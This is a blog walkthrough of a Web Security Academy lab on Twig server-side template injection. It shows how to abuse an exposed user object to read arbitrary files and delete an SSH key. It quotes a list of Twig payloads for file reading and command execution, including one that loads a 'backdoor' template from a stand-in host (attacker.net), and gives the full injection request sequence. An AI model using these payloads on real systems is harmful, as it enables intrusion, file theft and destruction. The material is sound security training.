Expert Lab: Server-side Template Injection with a Custom Exploit
blog
Web Application Security
Web Security Academy
Expert Labs
Server-Side Template Injection
SSTI
PHP
Twig
Lab Link
Lab: Server-side template injection with a custom exploit
Lab Description
This lab is vulnerable to server-side template injection2. To solve the lab, create a custom exploit to delete the file /.ssh/id_rsa
from Carlos’s home directory.
You can log in to your own account using the following credentials: wiener:peter
Warning
As with many high-severity vulnerabilities, experimenting with server-side template injection can be dangerous. If you’re not careful when invoking methods, it is possible to damage your instance of the lab, which could make it unsolvable. If this happens, you will need to wait 20 minutes until your lab session resets.
Solutions
Solution 1: My Solution
This lab was pretty cool, I really enjoyed it, It took me a few days to solve this lab because at first I was going to the wrong direction reading all the stuff in Twig documentation3 which was unnecessary for this lab. Because in order to exploit most templating engines, you need to read the documentation and find important tips about security issues, warnings, plugins and extensions, FAQ, how to upload custom templates, developer section, how to create custom gadget chains, chaining suitable objects until we can get a useful method which leads to RCE or file read which could cause sensitive information disclosure… all of which can become pretty time-consuming.
I tried to create custom Twig templates, Twig extensions and Twig filters and upload them to the server with the avatar image upload functionality and then run them where I had found template injection, I tried to create custom PHP files, and run them, none of these methods worked because Twig is already a quite hardened templating engine, so I realized I need another approach.
I also pressed ChatGPT very hard asking all kinds of questions about Twig documentation and the syntax on how to create new Twig filters, extensions…
But the answer was simpler than I thought first, it just needed complete attention to the part of Web Security Academy before the lab4, actually the description there had the answer in it:
Some template engines run in a secure, locked-down environment by default in order to mitigate the associated risks as much as possible. Although this makes it difficult to exploit such templates for remote code execution,
developer-created objects that are exposed to the template can offer a further, less battle-hardened attack surface
.
However, while substantial documentation is usually provided for template built-ins, site-specific objects are almost certainly not documented at all. Therefore, working out how to exploit them will require you to investigate the website’s behavior manually to identify the attack surface and construct your own custom exploit accordingly.
So we should search for developer-created objects, this is tip #1.
Ok, we run the lab, Open Burp Suite and proxy the traffic, log in as the wiener
user, in the account
page, there are two other tips:
- We can choose the “Preferred name”:
for example we can choose “First Name”, check Burp and see the request POST /my-account/change-blog-post-author-display
is sent and some part of body is: blog-post-author-display=user.first_name
.
Also post a comment in one of the posts on the website and see that our account’s first name, Peter, is shown as the comment post:
So our “Preferred name” is reflected in comment post section, we can test if this is vulnerable to template injection:
Send that previous POST /my-account/change-blog-post-author-display
request to Burp repeater and change the blog-post-author-display
in the message body like the following to test for temlpate injection:
blog-post-author-display=user.first_name${{<%[%'"}}
And send the request, then refresh the post page that we had commented on, now this error is shown:
Which is quite useful. It shows we are dealing with Twig Template. We can now use some Twig syntax to see if there is template Injection:
blog-post-author-display=user.first_name}}{{7*7
Then we can see, the result is reflected in our first name in the comments:
So we have template injection, but can we exploit it?
We search for some common Twig payloads and test them in the above section:
{{dump(app)}}
{{app.request.server.all|join(',')}}
#File read
"{{'/etc/passwd'|file_excerpt(1,30)}}"@
{{include("wp-config.php")}}
#Exec code
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("whoami")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id;uname -a;hostname")}}
{{['id']|filter('system')}}
{{['cat\x20/etc/passwd']|filter('system')}}
{{['cat$IFS/etc/passwd']|filter('system')}}
and see none of them actually work, so we still have a template injection that we may be able to use later, so let’s move on:
- We also see that we can upload our avatar image here:
First, we upload an actual image and check the request/response, no useful info is found, then let’s see what happens if we don’t select any file and click upload, as we can see we get an error:
Let’s play with this again, this time we try to see if we can upload a PHP file, then click upload, once again we get another error message:
This error is pretty useful, it shows two PHP files and also a user.setAvatar()
method, so this user
object that we also saw in tip #2 might be the developer-created object mentioned in our tip #1 and we might somehow be able to use its setAvatar
method, let’s test it in POST /my-account/change-blog-post-author-display
first:
blog-post-author-display=user.setAvatar()
Now send the request and refresh the post page we had commented on to see the result, We get this error:
Very good! It shows this method can be used, now let’s see if we can read those two PHP files found in the file upload errors, also notice in that image that setAvatar()
method needs two arguments, first is the file path the second is MIME type, so first let’s try /home/carlos/User.php
:
blog-post-author-display=user.setAvatar('/home/carlos/User.php','application/octet')
Send the request, refresh the post page, Now we get this error:
Notice that it needs an image MIME type, so we change the payload like this:
blog-post-author-display=user.setAvatar('/home/carlos/User.php','image/jpeg')
Send this request, refresh the post page, now something interesting happens:
It seems our avatar image is successfully set to this PHP file, so we might be able to download and read this file. Now right click on this image and select “Open image in new tab” now the User.php file is downloaded:
<?php
class User {
public $username;
public $name;
public $first_name;
public $nickname;
public $user_dir;
public function __construct($username, $name, $first_name, $nickname) {
$this->username = $username;
$this->name = $name;
$this->first_name = $first_name;
$this->nickname = $nickname;
$this->user_dir = "users/" . $this->username;
$this->avatarLink = $this->user_dir . "/avatar";
if (!file_exists($this->user_dir)) {
if (!mkdir($this->user_dir, 0755, true))
{
throw new Exception("Could not mkdir users/" . $this->username);
}
}
}
public function setAvatar($filename, $mimetype) {
if (strpos($mimetype, "image/") !== 0) {
throw new Exception("Uploaded file mime type is not an image: " . $mimetype);
}
if (is_link($this->avatarLink)) {
$this->rm($this->avatarLink);
}
if (!symlink($filename, $this->avatarLink)) {
throw new Exception("Failed to write symlink " . $filename . " -> " . $this->avatarLink);
}
}
public function delete() {
$file = $this->user_dir . "/disabled";
if (file_put_contents($file, "") === false) {
throw new Exception("Could not write to " . $file);
}
}
public function gdprDelete() {
$this->rm(readlink($this->avatarLink));
$this->rm($this->avatarLink);
$this->delete();
}
private function rm($filename) {
if (!unlink($filename)) {
throw new Exception("Could not delete " . $filename);
}
}
}
?>
Do this same step to download avatar_upload.php, We are gathering as much info as we can now that may help us solve the lab:
blog-post-author-display=user.setAvatar('/home/carlos/avatar_upload.php','image/jpeg')
We get this:
<?php
require_once("./User.php");
if ($_FILES['avatar']['error'] !== 0) {
throw new Exception("Error in file upload: " . $_FILES['avatar']['error']);
}
if (strpos($_FILES['avatar']['name'], "/") !== false || strpos($_FILES['avatar']['name'], ".") === false) {
throw new Exception("Uploaded file name is invalid: " . $_FILES['avatar']['name']);
}
$file = "/tmp/" . $_FILES['avatar']['name'];
if (!move_uploaded_file($_FILES['avatar']['tmp_name'], $file)) {
throw new Exception("Could not move uploaded file '" . $_FILES['avatar']['tmp_name'] . "' to '" . $file . "'");
}
$user = new User($_POST['user'], null, null, null);
$user->setAvatar($file, $_FILES['avatar']['type']);
header('Location: ./');
?>
Now check the codes of these two files that are used in file upload functionality, we find an interesting public method: gdprDelete()
, It is used to delete an avatar image and its symbolic link, so this might be our answer, first we set our avatar image as follows, with the file that should be deleted:
blog-post-author-display=user.setAvatar('/home/carlos/.ssh/id_rsa','image/jpeg')
Then we send this request and refresh the post page we had commented, then check if this file is set as our avatar image, right click and open it, it contains:
Nothing to see here :)
So the file is set correctly as our avatar image, now we send the following payload using the function that we had found in User.php file, according to the code that we had downloaded, now this file and also the symbolic link that was made when setAvatar()
function was called should be deleted, let’s see:
blog-post-author-display=user.gdprDelete()
We send this request and refresh the post page that we had commented on to execute the payload and booom! The /home/carlos/.ssh/id_rsa
file is deleted and the lab is solved!
Warning
Be careful with gdprDelete()
method, if it is called after:
blog-post-author-display=user.setAvatar('/home/carlos/User.php','image/jpeg')
or this:
blog-post-author-display=user.setAvatar('/home/carlos/avatar_upload.php','image/jpeg')
These files are deleted from the server and since they have vital functionality for the server, we may inadvertently damage the server and may need to wait for 20 minutes for the lab server to reset.
Solution 2: Web Security Academy’s Solution
-
While proxying traffic through Burp, log in and post a comment on one of the blogs.
-
Go to the “My account” page. Notice that the functionality for setting a preferred name is vulnerable to server-side template injection, as we saw in a previous lab. You should also have noticed that you have access to the
user
object. -
Investigate the custom avatar functionality. Notice that when you upload an invalid image, the error message discloses a method called
user.setAvatar()
. Also take note of the file path/home/carlos/User.php
. You will need this later. -
Upload a valid image as your avatar and load the page containing your test comment.
-
In Burp Repeater, open the
POST
request for changing your preferred name and use theblog-post-author-display
parameter to set an arbitrary file as your avatar:
user.setAvatar('/etc/passwd')
- Load the page containing your test comment to render the template. Notice that the error message indicates that you need to provide an image MIME type as the second argument. Provide this argument and view the comment again to refresh the template:
user.setAvatar('/etc/passwd','image/jpg')
-
To read the file, load the avatar using
GET /avatar?avatar=wiener
. This will return the contents of the/etc/passwd
file, confirming that you have access to arbitrary files. -
Repeat this process to read the PHP file that you noted down earlier:
user.setAvatar('/home/carlos/User.php','image/jpg')
-
In the PHP file, Notice that you have access to the
gdprDelete()
function, which deletes the user’s avatar. You can combine this knowledge to delete Carlos’s file. -
First set the target file as your avatar, then view the comment to execute the template:
user.setAvatar('/home/carlos/.ssh/id_rsa','image/jpg')
- Invoke the
user.gdprDelete()
method and view your comment again to solve the lab.